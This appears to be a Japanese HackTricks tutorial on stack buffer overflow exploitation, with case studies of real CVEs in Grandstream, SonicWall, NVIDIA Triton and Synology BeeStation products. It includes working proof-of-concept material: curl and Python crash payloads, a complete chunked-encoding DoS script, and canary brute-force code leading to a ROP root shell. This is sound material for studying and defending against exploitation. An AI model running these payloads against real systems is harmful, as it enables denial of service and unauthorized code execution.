Stack Overflow

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Stack Overflowとは何か

A stack overflow は、プログラムがスタックに割り当てられた容量よりも多くのデータを書き込むと発生する脆弱性です。この余分なデータは 隣接するメモリ領域を上書き し、有効なデータの破損、制御フローの破壊、そして場合によっては悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば生じます。

この上書きの主な問題は、前の関数に戻るための saved instruction pointer (EIP/RIP)saved base pointer (EBP/RBP)スタック上に保存されている ことです。したがって、攻撃者はこれらを上書きして プログラムの実行フローを制御する ことができます。

この脆弱性は通常、関数が スタック内に割り当てられた量より多くのバイトをコピーする ために発生し、スタックの他の部分を上書きできるようになります。

この脆弱性の影響を受けやすい一般的な関数には次のようなものがあります: strcpy, strcat, sprintf, gets… また、fgets, read & memcpy のように 長さ引数 を取る関数も、指定された長さが割り当てられた量より大きい場合には脆弱な使い方となる可能性があります。

例えば、次のような関数が脆弱になり得ます:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Stack Overflows のオフセットを見つける

Stack Overflows を見つける最も一般的な方法は、A を大量に入力すること(例: python3 -c 'print("A"*1000)')で、Segmentation Fault が発生し、アドレス 0x41414141 にアクセスしようとしたことが示されるのを期待することです。

さらに、Stack Overflow 脆弱性があることが分かったら、リターンアドレスを上書きできるまでのオフセットを見つける必要があります。このためによく使われるのが De Bruijn sequence. これは、与えられた大きさ k のアルファベットと長さ n の部分列に対して、長さ n のあらゆる可能な部分列が連続する部分列としてちょうど一度ずつ現れる巡回列 です。

このようにして、手でどのオフセットが EIP を制御するのに必要かを突き止める代わりに、これらのシーケンスのいずれかをパディングとして使い、どのバイトがそれを上書きしたかのオフセットを見つけることができます。

これには pwntools を使うことができます:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

または GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

スタックオーバーフローの悪用

オーバーフローが発生すると(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を保存された EBP/RBP and EIP/RIP (or even more) に到達するまでoverwriteすることができます。
このタイプの脆弱性を悪用する最も一般的な方法は、関数終了時に制御フローがポインタで指定した場所へ飛ぶようにmodifying the return addressすることです。

ただし、別のシナリオではスタック上のいくつかの変数の値をoverwritingするだけで十分な場合もあります(簡単な CTF チャレンジなど)。

Ret2win

この種の CTF チャレンジでは、バイナリの内部にfunctionがあり、それがinsidenever calledとなっていて、勝つためにyou need to call in order to win必要があります。これらのチャレンジでは、単にoffset to overwrite the return addressを見つけ、呼び出すべきaddress of the functionを見つければよい(通常 ASLR は無効化されていることが多い)ので、脆弱な関数が返ると隠された関数が呼ばれます:

Ret2win

Stack Shellcode

このシナリオでは、攻撃者はスタック上にshellcodeを配置し、制御されたEIP/RIPを使ってshellcodeにジャンプし任意のコードを実行できます:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

32-bit Windows では、オーバーフローが保存されたリターンアドレスの代わりに Structured Exception Handler (SEH) チェーンをoverwriteしてしまうことがあります。悪用では通常 SEH ポインタを POP POP RET ガジェットに置き換え、4 バイトの nSEH フィールドを短いジャンプに使って shellcode が置かれた大きなバッファへ戻るようにピボットします。よくあるパターンは、nSEH に短い jmp を書き、それが nSEH の直前に置かれた 5 バイトの near jmp に着地してペイロード開始位置まで数百バイト戻るものです。

Windows SEH Overflow

ROP & Ret2… techniques

この技術は前述の技術に対する主要な防御を回避するための基本的な枠組みです:No executable stack (NX)。また、ret2lib、ret2syscall など既存の命令を悪用して任意のコマンドを実行させる他の手法を実行することも可能にします。

ROP & JOP

ヒープオーバーフロー

オーバーフローは常にスタック上とは限らず、例えばheapで発生することもあります:

Heap Overflow

保護の種類

脆弱性の悪用を防ごうとするいくつかの保護機構があります。詳細は以下を参照してください:

Common Binary Exploitation Protections & Bypasses

実際の例: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)

  • /app/bin/gs_web (32-bit ARM) は TCP/80 上で /cgi-bin/api.values.getno authenticationで公開しています。POST パラメータ request はコロン区切りで、各文字が char small_buffer[64] にコピーされ、トークンは : または末尾で NUL 終端されますが、長さチェックが without any length check 行われないため、単一の過大なトークンで保存されたレジスタ/return address を壊すことができます。
  • PoC overflow(クラッシュしレジスタに攻撃者データを表示): curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)".
  • Delimiter-driven multi-NUL placement: コロンごとにパースが再開され末尾に NUL が追加されます。複数の過長な識別子を使うことで、各トークンの終端子を壊れたフレームの異なるオフセットに揃えられ、通常のオーバーフローでは一つしか追加されないはずの several 0x00 bytes を配置できます。これは非-PIE バイナリが 0x00008000 にマップされているため重要で、ROP ガジェットのアドレスに NUL バイトが含まれるからです。
  • 選択したオフセットに 5 つの NUL を落とすためのコロン区切りペイロード例(スタックレイアウトに応じて長さを調整): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE
  • checksecNX enabled, no canary, no PIE を示します。悪用は固定アドレスから組み立てた ROP チェーン(例: system() を呼んでから exit())を使い、区切り文字トリックで必要な NUL バイトを植えた後に引数を配置します。

実際の例: CVE-2025-40596 (SonicWall SMA100)

2025 年に発生した SonicWall の SMA100 SSL-VPN アプライアンスの事例は、なぜ sscanf should never be trusted for parsing untrusted input かを示す良いデモでした。/usr/src/EasyAccess/bin/httpd 内の脆弱なルーチンは、/__api__/ で始まる任意の URI からバージョンとエンドポイントを抽出しようとします:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. 最初の変換 (%2s) は version2バイト を安全に格納します(例: "v1")。
  2. 2番目の変換 (%s) は 長さ指定子を持たない ため、sscanf最初の NUL バイトまで コピーし続けます。
  3. endpointstack 上にあり、0x800 バイトの長さ であるため、0x800 バイトより長いパスを与えるとバッファの後にあるすべてが破損します ‑ これには stack canarysaved return address も含まれます。

単一行の proof-of-concept だけで 認証前に クラッシュを引き起こすのに十分です:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Even though stack canaries abort the process, an attacker still gains a Denial-of-Service primitive (and, with additional information leaks, possibly code-execution).

実際の例: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) には、HTTP API 経由で到達可能な複数の stack-based overflows が含まれていた。 脆弱なパターンは http_server.ccsagemaker_server.cc に繰り返し現れていた:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) は現在の HTTP リクエストボディを構成する内部バッファセグメントの数を返します。
  2. 各セグメントは alloca() を介してstack上に16-byteevbuffer_iovecを割り当てられます – 上限なし
  3. HTTP chunked transfer-encodingを悪用することで、クライアントはリクエストを何十万もの6-byteチャンク"1\r\nA\r\n")に分割させることができます。これにより n は stack が枯渇するまで制限なく増大します。

概念実証 (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
約3MBのリクエストで、保存された saved return address を上書きし、デフォルトビルド上の daemon を **crash** させるのに十分です。

### 実例: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktiv の Pwn2Own 2025 チェーンは、ポート5000上の `SYNO.BEE.AdminCenter.Auth` にある pre-auth overflow を悪用しました。`AuthManagerImpl::ParseAuthInfo` は攻撃者入力を Base64 デコードして 4096 バイトの stack buffer に格納しますが、誤って `decoded_len = auth_info->len` と設定します。CGI ワーカーはリクエストごとに fork するため、各 child は parent の stack canary を継承します。したがって、1つの安定した overflow primitive があれば、stack を破損させつつ必要な秘密をすべて leak するのに十分です。

#### Base64-decoded JSON を構造化された overflow として
デコードされた blob は有効な JSON であり、`"state"` と `"code"` キーを含んでいる必要があります。さもなければ、parser は overflow が有用になる前に throw します。Synacktiv はこれを、JSON にデコードされるペイロード、その後に NUL バイト、さらに overflow stream となるデータを Base64 エンコードすることで解決しました。`strlen(decoded)` は NUL で止まるためパースは成功しますが、`SLIBCBase64Decode` は既に JSON オブジェクト以降の stack を上書きしており、canary、saved RBP、そして return address を覆ってしまいます。
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi は HTTP リクエストごとに1回フォークするため、すべての子プロセスは同じ canary、stack layout、PIE slide を共有する。exploit は HTTP ステータスコードをオラクルとして扱う: 200 レスポンスは推測したバイトがスタックを保持したことを意味し、502(または接続切断)はプロセスがクラッシュしたことを意味する。各バイトを直列に brute-forcing することで、8バイトの canary、saved stack pointer、および libsynobeeadmincenter.so 内の return address を回復できる:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr は確認済みのプレフィックスを付けながら bf_next_byte を8回呼び出すだけです。Synacktiv はこれらの oracles を約16個の worker threads で並列化し、合計 leak 時間(canary + stack ptr + lib base)を3分未満に短縮しました。

leaks から ROP & execution へ

ライブラリベースが判明すると、common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) が arb_write プリミティブを構築し、/bin/bash-c、および攻撃者のコマンドを leaked stack address 上に配置します。最後に、チェーンが SLIBCExecl の呼び出し規約を整え(SLIBCExeclexecl(2) の BeeStation ラッパーです)、別個の info-leak バグを必要とせずに root shell を取得します。

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする